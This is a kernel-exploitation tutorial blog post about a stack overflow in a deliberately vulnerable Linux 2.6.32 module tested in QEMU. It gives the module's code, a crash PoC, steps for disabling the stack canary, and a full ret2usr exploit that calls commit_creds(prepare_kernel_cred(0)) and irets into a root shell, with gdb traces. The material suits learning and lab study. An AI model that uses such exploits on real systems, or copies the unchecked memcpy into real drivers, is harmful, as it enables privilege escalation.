

# Ret2Forever

---

*Actions speak louder than words*



---

[Home](#) [About](#) [Archives](#) [Friendlinks](#) [Contact](#) [Search](#) →

---

## Linux-Kernel-Exploit Stack Smashing

posted in [Kernel-exploit](#) on 2018-02-15 by [Tact0rnX](#)

- 
- [Bug](#)
  - [Poc](#)

Loading [MathJax]/extensions/MathMenu.js

- System call mechanism
  - trap frame
  - debug
- 
- Mitigate
  - References

---

Principle of kernel stack overflow and the user mode stack overflow are the same, we can use it to hijack control flow and privilege Escalation in Ring 0.

## ***Bug***

Kernel stack overflow like in the user mode.

We focus on the function `bug2_write`, `memcpy` unsafe function result in potential thread of buffer overflow.

```
1 //stack_smashing.c
2 #include <linux/init.h>
3 #include <linux/module.h>
4 #include <linux/kernel.h>
5 #include <linux/proc_fs.h>
6
7 int bug2_write(struct file *file, const char *buf, unsigned long len){
8     char localbuf[8];
9     memcpy(localbuf, buf, len);
10    return len;
11 }
12
```

Loading [MathJax]/extensions/MathMenu.js `init stack_smashing_init(void){`

```

14     printk(KERN_ALERT"stack smashing driver init!\n");
15     create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
16     return 0;
17 }
18
19 static int __exit stack_smashing_exit(void){
20     printk(KERN_ALERT"stack smashing driver exit!\n");
21 }
22
23 module_init(stack_smashing_init);
24 module_exit(stack_smashing_exit);
25 /*
26 makefile
27 obj-m := stack_smashing.o
28 KERNELDR := /mnt/hgfs/Qemu/x86/linux-2.6.32
29 PWD := $(shell pwd)
30 modules:
31     $(MAKE) -C $(KERNELDR) M=$(PWD) modules
32 modules_install:
33     $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
34 clean:
35     $(MAKE) -C $(KERNELDR) M=$(PWD) clean
36 */
37

```

We drag *stack\_smashing.ko* in IDA for analyzing the stack-frame of bug2\_write.


```

1 unsigned int __usercall bug2_write@<eax>(file *file@<eax>, c
2 {
3     char *v5; // edx
4     unsigned int v6; // ecx
5     unsigned int result; // eax
6     unsigned int v8; // ecx
7     char localbuf[8]; // [esp+0h] [ebp-14h]
8     unsigned int v10; // [esp+8h] [ebp-Ch]
9     int v11; // [esp+Ch] [ebp-8h]
10    int v12; // [esp+10h] [ebp-4h]
11
12    v11 = a5;
13    v12 = a4;
14    mcount(len, buf);
15    result = v6;
16    v10 = __readgsdword(0x14u);
17    v8 = v6 >> 2;
18    qmemcpy(localbuf, v5, 4 * v8);
19    if ( result & 3 )
20        qmemcpy(&localbuf[4 * v8], &v5[4 * v8], result & 3);
21    __readgsdword(0x14u);
22    return result;
23}

```

bug2\_write function stack frame as shown in the following figure:

## *Kernel stack layout*



Loading [MathJax]/extensions/MathMenu.js

Array `localbuff[]` can be overwritten and we can control the *return address* to hijack control flow.

Attention please ,at that time ,we are in **Ring0** (kernel mode).

That's a simplest example of kernel stack smashing.

## Poc

```
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 #include <unistd.h>
5 #include <fcntl.h>
6 #include <sys/stat.h>
7
8 int main(){
9     char buf[24]={0};
10    memset(buf,0,sizeof(buf));
11    *((void*)(buf+20)) = 0x42424242;
12    int fd=open("/proc/bug2",O_WRONLY);
13    write(fd,buf,sizeof(buf));
14    return 0;
15 }
16
```

We run the poc in qemu,it's get the info below:

```
1 /usr/example/stack_smashing # ./poc
2 [ 26.112180] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
3 [ 26.112180]
4 [ 26.128511] Pid: 63, comm: poc Tainted: P                2.6.32 #2
5 [ 26.136817] Call Trace:
6 [ 26.140917] [] ? printk+0x1d/0x1f
7 [ 26.147655] [] panic+0x47/0xe8
   [] __stack_chk_fail+0x1e/0x20
```

Loading [MathJax]/extensions/MathMenu.js

```

9  [ 26.159501] [<c882f04f>] ? bug2_write+0x4f/0x50 [stack_smashing]
10 [ 26.170878] [<c882f04f>] bug2_write+0x4f/0x50 [stack_smashing]
11 [ 26.179890] [<c11482d9>] proc_file_write+0x59/0x80
12 [ 26.190290] [<c1148280>] ? proc_file_write+0x0/0x80
13 [ 26.197294] [<c1143cd8>] ? proc_reg_write+0x58/0x90
14 [ 26.203064] [<c10fabff>] ? vfs_write+0x8f/0x190
15 [ 26.210005] [<c1143c80>] ? proc_reg_write+0x0/0x90
16 [ 26.216393] [<c10faf2d>] ? sys_write+0x3d/0x70
17 [ 26.225201] [<c1002d0b>] ? sysenter_do_call+0x12/0x22
18

```

Our kernel protect the stack with a “canary” value, it's the same as the "stack canary" in user mode, so when we execute our poc directly, canary be covered with `0x00000000`, it cause kernel panic. Qemu crashed!

So we need to compile a new kernel without the option of "Canary" by the operations.

Vim at `.config` in the root of linux kernel, comment the line

`CONFIG_CC_STACKPROTECTOR=y`, and type `n(no)` when `make` point out open the stack canary protection or not.

Go on , we re compile our module and poc in the new kernel and run poc again.

```

1 /usr/example/stack_smashing # ./poc
2 [ 28.484238] BUG: unable to handle kernel paging request at 42424242
3 [ 28.484238] IP: [<42424242>] 0x42424242
4 [ 28.484238] *pdpt = 0000000007884001 *pde = 0000000000000000
5 [ 28.484238] Oops: 0000 [#1] SMP
6 [ 28.484238] last sysfs file:
7 [ 28.484238] Modules linked in: stack_smashing(P)
8 [ 28.484238]
9 [ 28.484238] Pid: 64, comm: poc Tainted: P (2.6.32 #1) Bochs
10 [ 28.484238] EIP: 0060:[<42424242>] EFLAGS: 00010246 CPU: 0
11 [ 28.484238] EIP is at 0x42424242
12 [ 28.484238] EAX: 00000018 EBX: c784f420 ECX: 00000000 EDX: bf876794
13 [ 28.484238] ESI: 00000000 EDI: 00000000 EBP: 00000000 ESP: c7897f2c
    DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068

```

Loading [MathJax]/extensions/MathMenu.js

```

15 [ 28.484238] Process poc (pid: 64, ti=c7896000 task=c78a9960 task.ti=c7896000)
16 [ 28.484238] Stack:
17 [ 28.484238] 00000000 00000018 bf876794 c784f420 c7882780 c1146f90 c7897f64 c1142b88
18 [ 28.484238] <0> c7897f98 00000018 bf876794 c7882780 00000018 bf876794 c7897f8c c10f9d8
19 [ 28.484238] <0> c7897f98 00000002 00000000 c1142b30 c7882780 c7882780 00000000 080496b
20 [ 28.484238] Call Trace:
21 [ 28.484238] [

```

*[ 28.484238] EIP: [*

Kernel jumped to *0x42424242* which is the address we want to control, it proves that we can hijack control flow in kernel mode.

## Exploit

Our aim is to get a root shell.

For achieving our aim we should have two steps:

1. `commit_creds(prepare_kernel_cred(0))` for elevating privilege in kernel mode.
2. `system("/bin/sh")` for getting shell in user mode

So we can control return address to execute `commit_creds(prepare_kernel_cred(0))` in `bug2_write` function kernel mode.

But stack is trashed, so we can't return normally. We could fix up the stack, but that's boring. Instead, let's jump directly to user mode.

### ***System call mechanism***

Normal function calls:

- Use instructions *call* and *ret*
- Hardware saves return address on the stack

User → kernel calls: (ignoring some alternatives)

- Use instructions *int* and *iret*
- Hardware saves a “trap frame” on the stack

Our program should *iret* from kernel mode .

Ring0 -> Ring3 ,we first in kernel mode , use kernel stack ,when switch to running as a less-privileged user mode ,stack will switch to user stack. So we need to save our state information in the struct trap frame first when we go to kernel mode.

### ***trap frame***

Trap frame save on stack, we return to user mode, our user stat get from it.



```

2 {
3     void* eip;           // instruction pointer +0
4     uint32_t cs;         // code segment      +4
5     uint32_t eflags;     // CPU flags        +8
6     void* esp;           // stack pointer     +12
7     uint32_t ss;         // stack segment  +16
8 } __attribute__((packed));
9

```

We build a fake trap frame in our exploit, save all the stat information in it and change eip to `execve("/bin/sh")` address, when we return from kernel mode ,we will spawn a **Root shell**. Our exploit as below:

```

1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <unistd.h>
4 #include <fcntl.h>
5 #include <sys/stat.h>
6 #include <string.h>
7 #include <stdint.h>
8
9 struct trap_frame{
10     void *eip;
11     uint32_t cs;
12     uint32_t eflags;
13     void *esp;
14     uint32_t ss;
15 };
16 struct trap_frame tf;
17
18 void launch_shell(){
19     execl("/bin/sh","sh",NULL);
20 }
21
22 void prepare_tf(){
23     asm("pushl %cs;"
24         "popl tf+4;" //set cs
25         "pushfl;"
26         "popl tf+8;" //set eflags;

```

Loading [MathJax]/extensions/MathMenu.js

```

27     "pushl %esp;"
28     "popl tf+12;" //set esp;
29     "pushl %ss;"
30     "popl tf+16;"); //set ss;
31     tf.eip = &launch_shell;
32     tf.esp -= 1024;
33 }
34
35 #define KERNCALL __attribute__((regparm(3)))
36 void (*commit_creds)(void *) KERNCALL = (void*)0xc10682e0;
37 void (*prepare_kernel_cred)(void *) KERNCALL = (void*)0xc1068480;
38
39 void payload(void){
40     commit_creds(prepare_kernel_cred(0));
41     asm("mov $tf,%esp;"
42         "iret;"
43         );
44 }
45
46 int main(){
47     char buf[24]={0};
48     memset(buf,'A',20);
49     *(void **)(buf+20) = &payload;
50     prepare_tf();
51
52     int fd=open("/proc/bug2",O_WRONLY);
53     write(fd,buf,sizeof(buf));
54 }
55

```

In our exploit,

1. Elevate privilege: as in user mode ,control return address to execute

`commit_creds(prepare_kernel_cred(0))` to have a ROOT, and then prepare for *iret* to set fake trap frame on right position.

2. Get shell: we build a fake trap frame in use mode stack *tf*, and function `prepare_tf()` save the

state of CS, EIP, ESP, SS to trap frame and change `EIP=&launch_shell`

Loading [MathJax]/extensions/MathMenu.js

## debug

Ensure module .text address frist.

```
1 cat /sys/module/stack_smashing/sections/.text
2 0xc882f000
3
```

Run qemu , add symbols file to gdb (only .text is enough) and then we can set breakpoint in stack\_smashing.ko.

```
1 gdb-peda$ add-symbol-file ../busybox-1.19.4/_install/usr/example/stack_smashing/stack_sma
2 add symbol table from file "../busybox-1.19.4/_install/usr/example/stack_smashing/stack_s
3 .text_addr = 0xc882f000
4 gdb-peda$ b *bug2_write
5 Breakpoint 1 at 0xc882f000: file /mnt/hgfs/Qemu/x86/busybox-1.19.4/_install/usr/example/s
6 gdb-peda$ target remote 127.0.0.1:1234
7 Warning: Got Ctrl+C / SIGINT!
8 Python Exception <type 'exceptions.KeyboardInterrupt'> :
9 Error while running hook_stop:
10 Could not convert arguments to Python string.
11 default_idle () at arch/x86/kernel/process.c:311
12 311          current_thread_info()->status != TS_POLLING;
13 gdb-peda$ c
14 Warning: not running or target is remote
15
16 Breakpoint 1, bug2_write (file=0xc693ba00, buf=0xbf9fcf84 'A' <repeats 20 times>, ">\217\
17 6  int bug2_write(struct file *file,const char *buf,unsigned long len){
18 gdb-peda$ x/20i $pc
19 => 0xc882f000 <bug2_write>: push    ebp
20 0xc882f001 <bug2_write+1>:  mov    ebp,esp
21 0xc882f003 <bug2_write+3>:  sub     esp,0x10
22 0xc882f006 <bug2_write+6>:  mov     DWORD PTR [ebp-0x8],esi
23 0xc882f009 <bug2_write+9>:  mov     DWORD PTR [ebp-0x4],edi
24 0xc882f00c <bug2_write+12>: nop     DWORD PTR [eax+eax*1+0x0]
25 0xc882f011 <bug2_write+17>: mov     eax,ecx
    <bug2_write+19>:  mov     esi,edx
```

Loading [MathJax]/extensions/MathMenu.js

```

27 0xc882f015 <bug2_write+21>: shr     ecx,0x2
28 0xc882f018 <bug2_write+24>: lea     edi,[ebp-0x10]
29 0xc882f01b <bug2_write+27>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
30 0xc882f01d <bug2_write+29>: mov     ecx,eax
31 0xc882f01f <bug2_write+31>: and     ecx,0x3
32 0xc882f022 <bug2_write+34>: je      0xc882f026 <bug2_write+38>
33 0xc882f024 <bug2_write+36>: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
34 0xc882f026 <bug2_write+38>: mov     esi,DWORD PTR [ebp-0x8]
35 0xc882f029 <bug2_write+41>: mov     edi,DWORD PTR [ebp-0x4]
36 0xc882f02c <bug2_write+44>: mov     esp,ebp
37 0xc882f02e <bug2_write+46>: pop     ebp
38 0xc882f02f <bug2_write+47>: ret
39

```

As below, buffer overflow to cover return address to `payload()` function.

```

1  gdb-peda$ b *bug2_write+47
2  Breakpoint 2 at 0xc882f02f: file /mnt/hgfs/Qemu/x86/busybox-1.19.4/_install/usr/example/s
3  gdb-peda$ c
4  Warning: not running or target is remote
5
6  Breakpoint 2, 0xc882f02f in bug2_write (file=<optimized out>, buf=0xbf9fcf84 'A' <repeats
7      at /mnt/hgfs/Qemu/x86/busybox-1.19.4/_install/usr/example/stack_smashing/stack_smashi
8  10 }
9  gdb-peda$ x/10a $esp
10 0xc6949f28: 0x8048f3e  0x0 0x18  0xbf9fcf84
11 0xc6949f38: 0xc690e420 0xc693ba00 0xc1146f90 <proc_file_write> 0xc6949f64
12 0xc6949f48: 0xc1142b88 <proc_reg_write+88> 0xc6949f98
13 gdb-peda$ x/12i 0x8048f3e
14 0x8048f3e: push    ebp
15 0x8048f3f: mov     ebp,esp
16 0x8048f41: push    ebx
17 0x8048f42: sub     esp,0x4
18 0x8048f45: mov     ebx,DWORD PTR ds:0x80ef068
19 0x8048f4b: mov     edx,DWORD PTR ds:0x80ef06c
20 0x8048f51: mov     eax,0x0
21 0x8048f56: call    edx
22 0x8048f58: call    ebx
23 0x8048f5a: mov     esp,0x80f112c
    iret

```

Loading [MathJax]/extensions/MathMenu.js

Saved fake trap frame (The state of user proc exp) as below.

*EIP*=0x80f112c

*CS*=0xbf9f0073

*EFLAGS*=0x282

*ESP*=0xbf9fcb68

*SS* =0xbf9f007b

```

1 gdb-peda$ x/10a 0x80f112c
2 0x80f112c: 0x8048ee0 0xbf9f0073 0x282 <__this_module+66> 0xbf9fcb68
3 0x80f113c: 0xbf9f007b 0x28 <stack_smashing_init+4> 0x40 <stack_smashing_init+28> 0x
4 0x80f114c: 0x80f0100 0x0
5

```

When executed *iret*, eip=0x8048ee0 the address of *lanuch\_shell*, corresponding register have been set.

```

1 gdb-peda$ x/9i 0x8048ee0
2 0x8048ee0: push ebp
3 0x8048ee1: mov ebp, esp
4 0x8048ee3: sub esp, 0x18
5 0x8048ee6: mov DWORD PTR [esp+0x8], 0x0
6 0x8048eee: mov DWORD PTR [esp+0x4], 0x0
7 0x8048efd: mov DWORD PTR [esp], 0x80c5488
8 0x8048efd: call 0x8053d00
9 0x8048f02: leave
10 0x8048f03: ret
11 gdb-peda$ info registers
12 eax 0x0 0x0
13 ecx 0xffffffff 0xffffffff
14 edx 0x0 0x0
15 ebx 0xc10682e0 0xc10682e0
    0xbf9fcb68 0xbf9fcb68

```

Loading [MathJax]/extensions/MathMenu.js

17	ebp	0xc6949f28	0xc6949f28
18	esi	0x41414141	0x41414141
19	edi	0x41414141	0x41414141
20	eip	0x8048ee0	0x8048ee0
21	eflags	0x282	[ SF IF ]
22	cs	0x73	0x73
23	ss	0x7b	0x7b
24	ds	0x7b	0x7b
25	es	0x7b	0x7b
26	fs	0x0	0x0
27	gs	0x33	0x33
28			

At the end, execute to get a Root shell.

```

1 /usr/example/stack_smashing # insmod stack_smashing.ko
2 [ 57.857589] stack_smashing: module license 'unspecified' taints kernel.
3 [ 57.868753] Disabling lock debugging due to kernel taint
4 [ 57.873241] stack smashing driver init!
5 /usr/example/stack_smashing # su xingxing
6 sh: can't access tty; job control turned off
7 ~ $ id
8 uid=1000(xingxing) gid=1000 groups=1000
9 /usr/example/stack_smashing $ ./exp
10 sh: can't access tty; job control turned off
11 /usr/example/stack_smashing # whoami
12 whoami: unknown uid 0
13 /usr/example/stack_smashing # id
14 uid=0 gid=0
15

```

```
/ # su xingxing
sh: can't access tty; job control turned off
~ $ id
uid=1000(xingxing) gid=1000 groups=1000
~ $ /usr/example/
.DS_Store      hello/          null_dereference/  stack_smashing/
~ $ /usr/example/stack_smashing/exp
sh: can't access tty; job control turned off
/home/xingxing # id
uid=0 gid=0
/home/xingxing #
```

Yes, we get **ROOT**.

## Mitigate

Modern Linux kernels protect the stack with a “canary” value. On function return, if canary was overwritten, kernel panics.

Just like in user mode.

Prevents simple attacks, but there's still a lot you can do.

## References

[Linux内核漏洞利用（二） NULL Pointer Dereference](#)

[Linux 内核漏洞利用教程（二）：两个Demo](#)

[mmap\\_min\\_addr](#)

[write-kernel-exploits](#)



Loading [MathJax]/extensions/MathMenu.js

### *Related Posts:*

1. [Linux-Kernel-Exploit Stack Smashing](#)
2. [Linux Kernel Exploit Environment](#)
3. [Linux-Kernel-Exploit NULL dereference](#)
4. [Linux 栈耗尽](#)
5. [Stack Pivot](#)



#### *PREVIOUS POST*

← [Pwnable.tw Appstore-Seethefile-Spirited\\_away](#)

#### *NEXT POST*

[Pwnable.tw Babystack-Deathnote-Alivenote](#) →

## 发表评论

要发表评论，您必须先[登录](#)。

Loading [MathJax]/extensions/MathMenu.js



---

By TacItOrnX

Loading [MathJax]/extensions/MathMenu.js